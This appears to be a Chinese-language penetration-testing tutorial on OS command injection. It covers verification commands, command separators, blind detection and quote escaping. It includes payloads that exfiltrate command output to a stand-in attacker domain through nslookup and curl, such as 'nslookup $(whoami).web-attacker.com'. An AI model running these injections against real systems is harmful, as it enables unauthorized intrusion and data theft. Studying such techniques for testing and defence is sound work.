基本介绍#
操作系统命令注入:用户提交的信息可能会被拼接到一条操作系统命令(或者其他存在于 OS 中的命令行程序)中,如果没有做好充分的净化,则可能导致额外命令的执行。
常用的、用于验证的命令:
| 命令用途 | Linux | Windows |
|---|---|---|
| 当前用户名 | whoami | whoami |
| 操作系统 | uname -a | ver |
| 网络配置 | ifconfig | ipconfig /all |
| 网络连接 | netstat -an | netstat -an |
| 运行进程 | ps -ef | tasklist |
命令分隔符#
命令分隔符能让你注入的信息逃逸出固有命令的范围,从而注入新的命令。
Windows 和基于 Unix 的系统上均有效#
分隔符:
&&&|||
仅在基于 Unix 的系统上有效#
分隔符:
;- 换行符(
0x0a或者\n) - 反引号
$()
不回显命令结果#
服务器也许并不会回显命令的结果(尤其是对你额外注入的命令),此时你需要选择合适的命令去发现/测试命令注入漏洞。
常用的手段:
- 响应延时
- 让服务器发起对外访问
- 写入文件
常用的命令:
| 命令 | 描述 |
|---|---|
ping -c 10 127.0.0.1 | 能观察响应时间上的差异。 |
nslookup www.web-attacker.com | 向受控服务器发起 DNS 解析。 |
whoami > /var/www/static/whoami.txt | 将命令结果写入文件中。通过观察文件是否被创建来判断命令是否被执行。注意,有些时候 403 响应恰恰能证明文件已经被创建。 |
curl http://www.web-attacker.com | 通过操作系统原生命令(不依赖第三方工具,因为你并不知道目标服务器有没有装)发起对受控服务器的 HTTP 请求。 |
如果验证了目标存在“命令注入漏洞”,则可采取进一步的措施来获得命令执行的结果:
| 方法 | 描述 |
|---|---|
| 内联命令 | nslookup $(whoami).web-attacker.com、curl http://www.web-attacker.com/id=$(id) 等等,这些都可以在日志中看到命令执行的结果。 |
| 写入文件 | whoami > /var/www/static/whoami.txt,命令结果写入文件之后,通过访问文件来获取结果。 |
注意#
单/双引号#
你输入的信息的所在位置可能处于单引号或者双引号当中:
"injected command"此时你需要先逃逸出去,否则你输入的特殊字符(比如分隔符)在其中会被当作普通字符串处理:
"& id" ← ❌
"" & id & "" ← ✅响应报错#
响应报错不一定是命令执行失败了,这点在盲注中尤需注意,否则可能会错过漏洞。
命令分隔符被 Ban#
如果你无法逃逸原有命令的范围(比如分隔符都被禁用),则可以考虑参数注入,部分命令的参数以及命令对重复参数的处理行为等都可能出现一定的危害,比如:
- 文件写入
- 参数覆盖
关注点#
- 涉及到命令执行的函数/方法(部分函数/方法正常使用可能不涉及命令执行,但是对于特殊参数(比如管道符)就可能走命令执行路径)
- 参数注入(寻找那些“危险参数”)
- 多重过滤器间的解析差异
- 双引号中的特殊表达式(比如
$())